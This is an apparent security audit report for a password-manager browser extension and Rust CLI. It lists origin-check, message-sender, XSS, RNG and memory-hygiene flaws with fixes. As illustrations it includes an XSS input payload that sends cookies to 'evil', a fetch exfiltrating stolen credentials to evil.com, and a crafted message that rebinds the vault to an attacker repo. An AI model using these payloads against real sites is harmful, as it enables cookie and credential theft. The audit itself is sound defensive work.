relicario/docs/superpowers/audits/2026-04-18-initial-security-audit.md

# Relicario Security Audit Report

**Date:** 2026-04-18
**Scope:** Full static review of `crates/relicario-core/`, `crates/relicario-cli/`, `crates/relicario-wasm/`, `extension/src/`, both manifests, both webpack configs, and the design spec at `docs/superpowers/specs/2026-04-11-relicario-design.md`.
**Methodology:** Static review against the project's documented threat model.

---

## CRITICAL

### C1. Setup wizard is web-accessible — any website can pre-load attacker-controlled vault config and image into the extension

**File:** `extension/manifest.json:33-36`, `extension/manifest.firefox.json:38-40`; consumed by `extension/src/setup/setup.ts:540-568` and `extension/src/service-worker/index.ts:314-322`.

**Issue:** `setup.html` and `setup.js` are listed in `web_accessible_resources` with `matches: ["<all_urls>"]`. The setup page calls `chrome.runtime.sendMessage({ type: 'save_setup', config, imageBase64 })` from the *page context* (not from the extension popup), and the service worker accepts that message with no sender check at all (`_sender` is unused at `service-worker/index.ts:117`). Any page on the internet can:

1. Open or iframe `chrome-extension://<id>/setup.html` (it's web-accessible, so framing/loading is allowed).
2. Run JS inside that page that calls `chrome.runtime.sendMessage(extensionId, { type: 'save_setup', config: { hostType: 'github', hostUrl: 'https://api.github.com', repoPath: 'attacker/vault', apiToken: '...' }, imageBase64: '<attacker-jpeg>' })` — the setup page already has the chrome.runtime API available.
3. Even simpler: from setup.html itself, `chrome.runtime.sendMessage` is available without any external-extensions allow-list because setup.html runs in the extension's own origin once loaded.

The service worker overwrites `vaultConfig` and `imageBase64` in `chrome.storage.local` (`index.ts:315-318`) and resets `gitHost = null` so the new config takes effect on the next unlock. After this, the next time the user types their passphrase into the popup, the unlock flow reads the *attacker's* manifest from the *attacker's* repo using the *attacker's* image_secret + the user's passphrase — successfully unlocking, populating UI with attacker entries (which the attacker can craft to look like the user's familiar GitHub/Netflix entries), and silently writing any new credentials the user enters into the attacker-controlled repo.

This breaks the second of the four security invariants in the design spec ("Two-factor vault key. … Compromise of either alone is insufficient") because compromising *neither* factor is sufficient — silently swapping the image and remote bypasses the entire scheme.

**Why it matters:** This is the worst class of bug for a password manager: a drive-by attack that swaps the entire vault binding without any user prompt, with eventual full credential exfiltration on the next save/login.

**Remediation:**

1. Remove `setup.html`, `setup.js`, `relicario_wasm.js`, and `relicario_wasm_bg.wasm` from `web_accessible_resources` entirely. The setup page is opened with `chrome.tabs.create({ url: chrome.runtime.getURL('setup.html') })` from the popup (`setup-wizard.ts:28`), which works fine without `web_accessible_resources` for own-origin tabs.
2. In the `save_setup` handler, validate the sender: require `sender.id === chrome.runtime.id` AND `sender.url?.startsWith(chrome.runtime.getURL('setup.html'))`. Reject all other senders.
3. If a vault is already configured, require an explicit user confirmation in the popup before overwriting — don't silently swap the binding.
4. Consider hashing the (config, imageBase64) tuple and surfacing a fingerprint to the user so a swap is at least visible.

---

### C2. Service-worker `chrome.runtime.onMessage` handler trusts every message — content scripts and any code running in the extension origin can dump the entire vault

**File:** `extension/src/service-worker/index.ts:116-441`.

**Issue:** The handler ignores `_sender` and treats every message identically. The content script runs on `<all_urls>` and is the natural attack surface — but in fact the handler does no isolation between content-script callers and popup callers. Concretely:

- A content script (one per page, injected on every site) can send `{ type: 'list_entries' }`, `{ type: 'search_entries', query: '' }`, then loop `{ type: 'get_entry', id }` for every id and ship full plaintext credentials off-domain via `fetch()`. The vault is unlocked once, then any page's content script can drain it.
- The content script as written (`fill.ts`, `icon.ts`, `capture.ts`) only reaches for `get_credentials` after the user clicks the injected "id" icon, but **chrome.runtime.sendMessage from the content script is not gated by user gesture**. A malicious page can't directly call into the extension, but if any other extension component ever introduces a vulnerability that lets attacker JS execute in the content-script world (XSS in the prompt UI — see C3 — or a future bug in icon.ts's DOM manipulation), that context can call every privileged message type.
- More immediately: the `get_credentials` handler (`index.ts:289-296`) returns the password to *any* caller, with no check that the requested `id` corresponds to a URL matching the calling tab's origin. Even the intended path from the content-script icon click could be coerced (a page replaces the icon's click handler before the click arrives, then sends `get_credentials` for an arbitrary `id` enumerated via `get_autofill_candidates` for *another* hostname). There is zero origin-binding between "what page asked for autofill" and "which credentials we hand back."

**Why it matters:** Once the vault is unlocked, the entire vault is reachable by anything that can post a chrome.runtime message — and the content script makes that reachable from any page DOM whose JS can race the content script's listener. This is a textbook vault-exfiltration path.

**Remediation:**

1. Split the message router into two surfaces. Popup-only operations (`unlock`, `lock`, `list_entries`, `get_entry`, `add_entry`, `update_entry`, `delete_entry`, `get_totp` for arbitrary id, `save_setup`, `get_setup_state`, `update_settings`, `get_blacklist`, `remove_blacklist`, `generate_password`) must reject if `sender.url` is not `chrome-extension://<id>/popup.html` or the setup page.
2. Content-script-callable operations (`get_autofill_candidates`, `get_credentials`, `check_credential`, `fill_credentials`, `blacklist_site`) must verify (a) `sender.tab?.id` matches the active tab and (b) the requested entry's stored URL hostname equals `new URL(sender.tab.url).hostname` before returning a password. Today there is no such check — `get_credentials` (`index.ts:289-296`) blindly trusts the id.
3. Require user confirmation in the popup before the first autofill on any new origin.

---

### C3. Capture prompt injects attacker-controlled DOM strings via `innerHTML` and is built on layered HTML escaping that is incomplete

**File:** `extension/src/content/capture.ts:172-191`, `escapeForHtml` at lines 270-274.

**Issue:** The capture prompt is appended to the *page's* DOM (`document.body.appendChild(container)`) with content like `${escapeForHtml(hostname)}` and `${escapeForHtml(displayUser)}` interpolated into a template literal that is then assigned to `innerHTML`. Two problems:

a) `escapeForHtml` uses the `div.textContent` round-trip trick. That escapes `&`, `<`, `>`, but **does not escape `"`**. The escaped value is then dropped into an HTML template inside `<strong style="color:#58a6ff">${escapeForHtml(hostname)}</strong>` — between tags, so quotes don't matter. **However** the value is also dropped into the textual sentence template surrounding it. This is currently safe for hostname (because URL hostnames cannot contain `<` or `&`), but `username` is interpolated as `${escapeForHtml(displayUser)}` where `displayUser = `(${username})``. The `username` value comes from `findUsernameValue(pwField)` (`capture.ts:26-67`) which walks the page's `<input>` values — every byte of which is attacker-controlled. A page can stuff an `<input value="<img src=x onerror=fetch('//evil/?'+document.cookie)>">` and get the prompt to render that image tag.

The textContent round-trip *does* escape `<`, `>`, and `&`, so injection of raw `<img>` tags is blocked. But:

b) The DOM the script is constructing lives in the **page's** document, not the extension's. Even if the escape were perfect, the page's existing CSS/JS sees the prompt and can read its DOM (`#relicario-capture-prompt`, `#relicario-save-btn`, etc.). Page JS can:
   - Wait for the prompt to appear via `MutationObserver`, read the `<strong>` text to learn the username being saved.
   - Programmatically `.click()` `#relicario-save-btn` to silently save attacker-substituted credentials to the user's vault. (The `Save` handler reads `username` and `password` from variables captured at `showPrompt` call time, so it'll save *correct* values — but the page can replace the button's click listener via `cloneNode`/`replaceWith` or wrap it.)
   - Programmatically `.click()` `#relicario-never-btn` to suppress capture for the user's *real* sites by getting them blacklisted via a confusable hostname.

c) The injected button uses `id="relicario-save-btn"`. If the page has its own element with the same id, document.getElementById on subsequent saves returns whichever the browser returns first — generally the page's. Use a Shadow DOM or unique random ids per-prompt instead.

**Why it matters:** The capture flow is the easiest path to silent credential exfiltration. A malicious site can craft inputs and DOM such that submitting *any* form on the page causes the user's vault to capture and save attacker-chosen credentials labeled as the user's bank/email, or such that legitimate save prompts get `Never`-clicked and silently blacklisted.

**Remediation:**

1. Render the prompt inside a closed Shadow DOM: `const root = container.attachShadow({ mode: 'closed' });` then `root.innerHTML = ...`. Closed shadow DOM is invisible to the page's JS.
2. Replace `escapeForHtml(displayUser)` with `textContent` assignments rather than `innerHTML`. Construct the DOM with `document.createElement` + `.textContent =` for any attacker-derived strings.
3. Treat all values from `findUsernameValue` as fully untrusted; sanity-check they're not control characters or exceptionally long.
4. Do not use stable IDs (`relicario-save-btn`) on elements injected into a hostile DOM.

---

### C4. Autofill has no origin check — credentials handed to any page that asks

**File:** `extension/src/service-worker/index.ts:283-296`, `extension/src/content/icon.ts:63-91`.

**Issue:** `get_autofill_candidates` accepts a `url` field from the message payload, not from `sender.tab.url`. A content script (or, given C2, anything posting a message) supplies the URL. `findByUrl` (`vault.ts:117-137`) matches by hostname equality. Then `get_credentials` returns *any* entry by id with no URL check whatsoever (`index.ts:289-296`). So:

- A page at `evil.com` sends `{ type: 'get_autofill_candidates', url: 'https://github.com' }` → gets back the GitHub entry id.
- Then sends `{ type: 'get_credentials', id }` → receives the GitHub username + password in plaintext.
- Then ships them off via `fetch('https://evil.com/exfil', { body: ... })`.

The icon-click flow is presented as the "intended" path, but nothing in the code enforces that the icon must be the trigger. The design spec section "Autofill anti-phishing (origin checks)" is referenced in the audit prompt but is not implemented anywhere.

**Why it matters:** This is the classic phishing primitive a password manager exists to prevent. relicario currently has weaker origin discipline than even a manually-typed-in form would have.

**Remediation:**

1. In `get_autofill_candidates` and `get_credentials`, ignore any URL passed in the message. Use `sender.tab.url` and require `sender.tab.id === activeTabId`.
2. Before returning a credential, confirm the entry's stored `url`'s hostname matches the sender tab's hostname. Reject otherwise.
3. Only allow autofill in the top-level frame: check `sender.frameId === 0`.
4. Consider requiring user confirmation in the popup the first time a hostname requests autofill (TOFU origin acknowledgement).

---

## HIGH

### H1. Argon2id password input is the unprefixed concatenation of passphrase || image_secret — collision-engineerable second-preimage path

**File:** `crates/relicario-core/src/crypto.rs:225-227`.

**Issue:** `password = passphrase || image_secret`. Two distinct (passphrase, image_secret) pairs produce the same Argon2id input — e.g. `("abc", [0x44, 0x55, …])` and `("abcD", [0x55, …])` differ only in where the boundary sits but produce identical concatenations and therefore identical master keys. The design spec explicitly calls this out as "the canonical Argon2id API — no custom construction" but it's not canonical at all; concatenating two variable-length values without a length prefix is a textbook construction smell.

**Why it matters in this threat model:** The image_secret is fixed-length (32 bytes), so an attacker cannot freely craft pairs. But: in any future enhancement where the image_secret length changes (e.g., 64-byte for v2), or if the passphrase is allowed to contain bytes that look like leading bytes of an image_secret, the ambiguity becomes real. More immediately, it's a deviation from cryptographic hygiene that doesn't help the security argument and is trivial to fix. Also relevant: passphrases aren't strictly bounded — UTF-8 normalization differences (e.g., NFC vs NFD on macOS) could combine with image_secret in surprising ways.

**Remediation:**

```rust
let mut password = Vec::with_capacity(8 + passphrase.len() + 32);
password.extend_from_slice(&(passphrase.len() as u64).to_be_bytes());
password.extend_from_slice(passphrase);
password.extend_from_slice(image_secret);
```

Or better, use Argon2id's own `additional_data` / `secret` parameter (if exposed by the `argon2` crate's `Params`) to keep them domain-separated. This is a format-breaking change so it must be tied to a version bump in `params.json` / a new `VERSION_BYTE`.

Cite spec line: the spec at "Key derivation" explicitly says "concatenated, 32-byte secret appended" — this audit recommends amending the spec to use length-prefixing.

---

### H2. Master key never zeroized; `Vec<u8>` from `derive_master_key` and intermediate buffers leak into reallocated heap

**File:** `crates/relicario-core/src/crypto.rs:205-235`, `crates/relicario-cli/src/main.rs:204-218` and every command that calls `unlock`.

**Issue:** The Argon2id output (`output: [u8; 32]`) is returned by value, copied into an owned `Vec` in `relicario-wasm`'s `derive_master_key` (`lib.rs:62`), then handed to JS as a `Uint8Array` whose backing memory lives in the WASM linear memory. Nothing implements `Drop` to wipe the bytes. The intermediate `password` Vec at `crypto.rs:225-227` (which contains the *passphrase plaintext* alongside the image_secret) is also dropped without zeroizing — its buffer is freed and may be reallocated for unrelated purposes, retaining the passphrase in process memory until overwritten.

In the CLI, the passphrase string from `rpassword::prompt_password_stderr` (an owned `String`) is also not zeroized. The `master_key: [u8; 32]` returned from `unlock` is just a stack array — better — but it gets passed by reference to `encrypt_entry` etc. which call into XChaCha20Poly1305 internals that may copy the key.

**Why it matters:** Anything that captures a memory dump (crash dump, swap, hibernation file, attacker with debugger after suspend-to-disk) can recover the passphrase, image_secret, and master key from regions of freed heap. The threat model lists "Stolen device" as in-scope.

**Remediation:**

1. Add `zeroize = "1"` and `zeroize_derive` to `relicario-core`.
2. Wrap `master_key` in `Zeroizing<[u8; 32]>` in both `derive_master_key` return and at all CLI/WASM call sites.
3. Wrap the temporary `password` Vec in `Zeroizing<Vec<u8>>` so its contents are wiped on drop.
4. In the CLI, zeroize the passphrase string immediately after passing into `derive_master_key`.
5. In the service worker, after a successful unlock, immediately overwrite the JS `passphrase` string the popup sent (best effort — JS strings are immutable, so accept this is partial; primary defense is keeping passphrase short-lived).
6. For the WASM bridge, prefer passing key handles by id and keeping the bytes inside Rust's WASM linear memory in zeroizing structures, never returning them to JS as a `Uint8Array`. This is a larger refactor but is the correct architecture for a password manager.

---

### H3. Passphrase strength gate is purely cosmetic; the only enforced minimum is 8 characters

**File:** `crates/relicario-cli/src/main.rs:354-356`, `extension/src/setup/setup.ts:74-85, 363-373`.

**Issue:** The CLI requires `>= 8` characters — no entropy enforcement. The extension calls `passphraseStrength()` purely for the colored bar; the create-vault step accepts any non-empty passphrase including a single character (`if (!state.passphrase) bail`). This contradicts the spec's "Adversaries → Stolen device + weak passphrase: enforce minimum passphrase strength at vault creation" defense.

The threat model says the passphrase carries the entire entropy load against an attacker who has stolen the device + reference image. With a single low-entropy passphrase, all the elaborate two-factor design collapses to "Argon2id over a weak password," which a determined adversary can crack.

**Why it matters:** Spec invariant "Stolen device + weak passphrase. Universal worst case." The mitigation listed in the spec is "Enforce minimum passphrase strength at vault creation" — currently not enforced.

**Remediation:**

1. In the extension's setup wizard, refuse to proceed unless `passphraseStrength` returns `'good'` or `'strong'`, OR display an explicit warning and require the user to type a confirmation phrase.
2. In the CLI, integrate `zxcvbn` (Rust crate) and require an estimated guess count >= 2^45 or similar.
3. Document the enforced minimum in the spec.

---

### H4. CLI git_commit shells out without disabling pager / signed commits / hooks; no git config isolation

**File:** `crates/relicario-cli/src/main.rs:239-257, 402-405, 736-756`.

**Issue:** Every CLI mutation runs `git add -A` then `git commit -m <message>`. There are no environmental guards:

- If the user has a global `commit.gpgsign = true`, `git commit` will block waiting on a passphrase prompt while the master key is held in process memory. Not directly a vuln, but exacerbates H2.
- If a malicious `.git/hooks/pre-commit` script exists in the vault directory (e.g., the user pulled a compromised vault), it will execute every time the user runs any vault mutation. Hooks don't ship in `git clone`, so this is mostly defensive. Mitigate via `git -c core.hooksPath=/dev/null`.
- `git pull --rebase` (`main.rs:737-738`) without `--no-edit` may drop into an editor for conflict markers; nothing concerning, but a long-running editor session keeps the master_key in memory.
- `git add -A` (line 241) will stage anything in the working tree, including a maliciously-named file like `entries/../../etc/passwd` or symlinks the user didn't notice. Not a direct vuln but means the audit log is broader than just vault content.

**Why it matters:** The shell-out is broad; tightening it is cheap defense in depth.

**Remediation:**

```rust
Command::new("git")
    .args(["-c", "core.hooksPath=/dev/null", "-c", "commit.gpgsign=false",
           "-c", "core.editor=true", "commit", "-m", message])
```

Stage only the specific files the operation touched (`entries/<id>.enc`, `manifest.enc`, `.relicario/devices.json`) instead of `git add -A`.

---

### H5. WASM `generate_password` uses `Math.random()` — claimed "non-security-critical" is wrong

**File:** `crates/relicario-wasm/src/lib.rs:240-256`.

**Issue:** The doc comment says "Uses `js_sys::Math::random()` for randomness (not cryptographically secure, but sufficient for password character selection)." This is **flatly wrong**. Generated passwords are the user's stored credential for whatever site they're saving — they must be CSPRNG-derived. `Math.random()` is V8's xorshift128+ which is:

- Predictable from a small number of outputs (well-published research).
- Seeded per-realm; many realms share state across timing-correlated origins.
- An attacker who can observe one generated password (e.g., the user later shares it to a now-compromised site, or the page steals it via C3/C4) can in principle recover the RNG state and predict every other password generated in the same session.

The ext-bundled `crypto.getRandomValues` is available in service-worker context (it's used at `setup.ts:384`). There is no reason to use `Math.random` here.

**Remediation:** Replace both `generate_password` and `generate_entry_id` in `relicario-wasm` to use `getrandom` (already in the dependency list with `features = ["js"]` enabled, line in `Cargo.toml`). Equivalent to:

```rust
use rand::{rngs::OsRng, RngCore};
let mut buf = [0u8; 32];
OsRng.fill_bytes(&mut buf);
```

Also remove the false claim "Math.random() is sufficient for non-security-critical" — at minimum for entry IDs. For entry IDs the impact is mild (32 bits of weak randomness → some predictability of filenames in a public repo) but the password case is unambiguously a security bug.

Also: the modulo-by-charset-length introduces small bias (`CHARSET.len() = 87`, not a power of two). Use rejection sampling.

---

### H6. CLI password generator has modulo bias

**File:** `crates/relicario-cli/src/main.rs:308-317`.

**Issue:** `(rng.next_u32() as usize) % CHARSET.len()` where `CHARSET.len() == 75`. Since `2^32 % 75 = 1` (≈), bias is mild, but still nonzero. For a tool whose entire job is generating high-entropy secrets, use `rand::distributions::Uniform` or rejection sampling.

**Remediation:**
```rust
use rand::distributions::{Distribution, Uniform};
let dist = Uniform::from(0..CHARSET.len());
(0..length).map(|_| CHARSET[dist.sample(&mut rng)] as char).collect()
```

---

### H7. `rpassword 5.0.1` is from 2020 and the API used (`prompt_password_stderr`) was deprecated and removed in 6.x

**File:** `crates/relicario-cli/Cargo.toml` (`rpassword = "5"`), `main.rs:205, 352, 358`.

**Issue:** `rpassword 5.0.1` predates several documented platform handling fixes (Windows console, terminal-restoration on signal). The current crate is at 7.x. `prompt_password_stderr` was removed; use `prompt_password` and pipe it to stderr separately, or call `rpassword::prompt_password_from_bufread` for testability. Stale dep is a supply-chain hygiene issue and may carry unfixed terminal-restoration bugs that leave the TTY in no-echo mode if the user Ctrl-C's mid-prompt.

**Remediation:** Bump to `rpassword = "7"` and adapt the call sites.

---

### H8. Service worker keeps `apiToken` in `chrome.storage.local` in plaintext alongside the unencrypted reference image

**File:** `extension/src/service-worker/index.ts:67-75, 313-318`.

**Issue:** `vaultConfig.apiToken` (Gitea/GitHub PAT with full Contents read+write) and `imageBase64` (the reference image with the embedded image_secret) live unencrypted in `chrome.storage.local`. Per spec, "the image bytes never leave the device" — true — but anyone with read access to the user's Chrome profile (on disk: `~/.config/google-chrome/Default/Local Extension Settings/<extension-id>/`) gets both the PAT (full git push access to the vault repo) and the image (factor #2). Combine that with C1's "swap" attack and the threat model's "Stolen device" adversary loses the image_secret to an offline attacker the moment the disk is read.

The spec says this is "acceptable" and that the reference image is supposed to live in chrome.storage.local. But the spec does not say the API token also lives there. The PAT is a separate secret with its own threat model — leaking it gives an attacker push access to overwrite the encrypted vault (denial of service or rollback to stale ciphertext).

**Why it matters:** chrome.storage.local is plain JSON on disk on most platforms. No OS-keystore integration. The spec's "Stolen device" mitigation depends on Argon2id-protected master key — the PAT bypasses that entirely.

**Remediation:**

1. Document explicitly in the README/spec that anyone with filesystem access to the browser profile owns both the image_secret and write access to the git repo — and that the user's only remaining defense is the passphrase via Argon2id.
2. Consider scoping the PAT more tightly (Contents-only on a single repo path, no other API surface). The setup wizard's instructions already point at fine-grained PATs for GitHub — emphasize this.
3. Long-term: integrate with browser identity / cookie-based auth instead of long-lived PATs, or push the PAT into an OS keychain via a companion native messaging host (out of scope for V1).

---

## MEDIUM

### M1. `read_block` panics on out-of-bounds via `read_block_abs(...).unwrap()`

`crates/relicario-core/src/imgsecret.rs:252-256`. Future block-selection changes could panic at runtime; in WASM this aborts the whole service worker. Return `Result` and propagate, or `debug_assert!`.

### M2. `bits_to_bytes` length not validated in `try_extract_with_layout`

`crates/relicario-core/src/imgsecret.rs:765-768`. `secret.copy_from_slice(&result_bytes[..32])` panics if `result_bytes.len() < 32`. Add `debug_assert_eq!` and prefer `try_into()`.

### M3. `extract_with_crop_recovery` has unbounded compute for attacker-controlled JPEG dimensions

`crates/relicario-core/src/imgsecret.rs:784-833`. A 32000×32000 attacker-supplied JPEG can wedge the service worker for tens of seconds. Cap `MAX_DIMENSION` (e.g. 10000 px) and peek dimensions before full decode.

### M4. `decrypt` error path leaks coarse timing about which validation failed first

`crates/relicario-core/src/crypto.rs:115-141`. Not exploitable today (only attacker-supplied ciphertexts are the user's own files). If a "share an entry" feature lands, this becomes a side channel. Consider returning `RelicarioError::Decrypt` for all failure modes.

### M5. `chrome.tabs.sendMessage` in fill_credentials sends to currently-active tab without verifying the tab matches the entry's origin

`extension/src/service-worker/index.ts:334-346`. If the user switches tabs between opening the popup and pressing `f`, credentials go to the new tab. Capture `(tab.id, tab.url)` when popup opens.

### M6. CLI clipboard clear is best-effort and racy

`crates/relicario-cli/src/main.rs:565-585`. The 30s clear thread holds a *clone* of the plaintext password for 30 seconds and won't clear if user copies anything else and back. Always clear unconditionally; wrap in `Zeroizing<String>`.

### M7. CLI prints the full password to stdout via `println!`

`crates/relicario-cli/src/main.rs:553`. `relicario get` prints `"Password: <plaintext>"` to stdout — ends up in scrollback, `script` transcripts, tmux capture, pipes. Show `********` by default; require `--show` flag.

### M8. CLI generates entry IDs with only 32 bits of randomness; 8-char hex collisions are realistic

`crates/relicario-core/src/entry.rs:159-163`. Birthday-bound: ~65k entries gives ~50% collision; `manifest.add_entry` silently overwrites. Bump to 16-char hex (64 bits), or check before write.

### M9. WASM TOTP code has no guard against `result[offset + 3]` index when HMAC output is exactly 20 bytes

`crates/relicario-wasm/src/lib.rs:227-232`. Safe today (HMAC-SHA1 is always 20 bytes, max offset is 15). Add `debug_assert_eq!(result.len(), 20)` for future-proofing.

### M10. `setup-wizard.ts` opens a new tab, but `window.close()` is no-op if popup is not in popup context

`extension/src/popup/components/setup-wizard.ts:27-30`. Minor.

### M11. CLI `now_iso8601` returns Unix seconds but the field is named `iso8601` and the spec promises ISO 8601 formatting

`crates/relicario-cli/src/main.rs:263-268`. Function name lies; consumers may parse timestamps and silently mishandle a numeric value. Either rename or use chrono/jiff.

### M12. `arboard 3` carries platform-dependent behavior; password may persist after `set_text("")` on Linux X11

`crates/relicario-cli/src/main.rs:572-579`. Document Linux limitations.

---

## LOW / INFORMATIONAL

- **L1.** Dead-code-allowed fields in `EmbedRegion` (`crates/relicario-core/src/imgsecret.rs:163, 166`).
- **L2.** `RelicarioError::Format` exposes the offending version byte in user-facing error string. Minor info disclosure.
- **L3.** Capture flow's `check_credential` decrypts every candidate entry on every form submit (`index.ts:421-423`). Cache password hash, not password.
- **L4.** `popup.ts:16-20` `setState` triggers full re-render every state change — in-flight async responses can race and double-fire.
- **L5.** Chrome MV3 manifest CSP includes `'wasm-unsafe-eval'` — required but document why.
- **L6.** `git-host.ts:27` uses `String.fromCharCode(bytes[i])` for base64 — vulnerable to memory pressure with large reference images. Use chunked or `FileReader`.
- **L7.** `Cargo.toml` allows wide major-version ranges. No `cargo audit` / `cargo deny` config in repo.
- **L8.** CLI `vault_dir()` silently returns `current_dir()` — `relicario add` in `/home` will start writing files there. Detect missing `.relicario/` and bail.
- **L9.** `devices.json` initial write differs between CLI (`"[]"`) and extension (`'{"devices":[]}'`). Schema mismatch.
- **L10.** `totpSecretCache` (`Map<string, string>` of plaintext base32 secrets) has no zeroization — note that JS strings can't be zeroized.
- **L11.** `escapeHtml` at `popup.ts:16-20` doesn't escape `'` (single quote). Codebase uses double quotes for attributes, so currently safe but fragile.
- **L12.** Service worker unlock path doesn't validate salt/params length before passing to WASM. Add explicit length checks at JS boundary.

---

## CONFIRMED-SAFE

These primitives and parameters are correctly used and do **not** need further worry:

1. **XChaCha20-Poly1305** via `chacha20poly1305 = "0.10.1"` (RustCrypto). Correct AEAD usage; 24-byte nonce generated fresh from `OsRng` per encryption (`crypto.rs:79-100`).
2. **Argon2id** via `argon2 = "0.5.3"`. Correct algorithm/version (`Algorithm::Argon2id, Version::V0x13`), output length 32. Defaults of m=64MiB, t=3, p=4 within OWASP 2024 recommendations (`crypto.rs:211-235`).
3. **OsRng** used for: master_key salt (`main.rs:368-369`), image_secret in CLI (`main.rs:339-340`), nonces (`crypto.rs:85-87`), ed25519 device keys (`main.rs:794`).
4. **`crypto.getRandomValues`** in setup wizard for image_secret + salt (`setup.ts:383-393`).
5. **ed25519-dalek 2.2.0** with `rand_core` — modern strict-verification version.
6. **TOTP / RFC 6238** in WASM is correct; unit tests exercise published RFC test vectors (`wasm/lib.rs:280-301`).
7. **AEAD failure → opaque `RelicarioError::Decrypt`** with generic message ("wrong key or corrupted data"). Avoids leaking which factor is wrong (`error.rs:33`, `crypto.rs:138`).
8. **Version byte (0x01)** at start of every ciphertext blob with rejection of unknown versions.
9. **Two-factor independence** verified by `tests/integration.rs:120-153`.
10. **DCT round-trip correctness** verified to 1e-6 tolerance.
11. **`escapeHtml` via textContent round-trip** correctly defangs `<`, `>`, `&` for content insertion (caveat L11).
12. **Manifest schema migration** for the new `group` field handles old records cleanly via `serde(skip_serializing_if = "Option::is_none")`.
13. **CSP `script-src 'self' 'wasm-unsafe-eval'; object-src 'self'`** is tight: no `unsafe-inline`, no remote scripts.
14. **CLI device key file permissions 0600 on Unix** (`main.rs:809-813`).

---

## WIDER AUDIT GAPS (out of scope for this static review)

1. **Empirical robustness of imgsecret claims (Q85, 10% crop, etc.).** Tests cover one synthetic JPEG. Real social-media JPEGs go through chroma subsampling at 4:2:0, EXIF orientation flips, ICC profile re-encoding, platform-specific quantization tables. Needs a fuzz battery against actual platform upload-download round trips.
2. **WASM linear-memory inspection.** Bytes copied between Rust and JS via wasm-bindgen are reachable from JS for the lifetime of the process. A DevTools heap snapshot of the SW after unlock would confirm whether master_key bytes are visible from JS.
3. **Side-channel timing of Argon2id.** The `argon2` crate's `hash_password_into` is data-independent. No issue suspected; constant-time-test harness would confirm.
4. **Browser extension fuzzing for malicious page interaction.** Capture/autofill/prompt rendering need exercise against a hostile page with full DOM control.
5. **Cargo Audit / Cargo Deny.** Run `cargo audit` against the lockfile; `image 0.25.10` and transitive image-codec deps have had a steady stream of CVEs.
6. **MV3 service worker idle-suspend behavior.** When SW is suspended, `masterKey` is freed — good. But verify Chrome doesn't serialize SW storage of `masterKey` for resume.
7. **Git transport security.** Whether the user's git config validates SSH host keys, uses HTTPS with cert pinning, etc., is outside static review.
8. **Recovery flow.** Not yet implemented; needs its own audit when it lands.

---

## Summary

relicario's *core cryptography* is solid: correct AEAD, correct KDF parameters, real two-factor key derivation. The bugs are concentrated in the *extension boundary* and the *plumbing around the crypto*: the setup wizard is web-accessible without sender checks (C1), the message router trusts every caller (C2), capture and autofill have no origin discipline (C3, C4), the WASM password generator is non-cryptographic (H5), and master-key/passphrase memory hygiene is absent (H2).

**C1–C4 together are exploitable end-to-end and should be treated as release blockers.** H1–H8 should land before any tagged 1.0; M-class items can be batched into hardening PRs.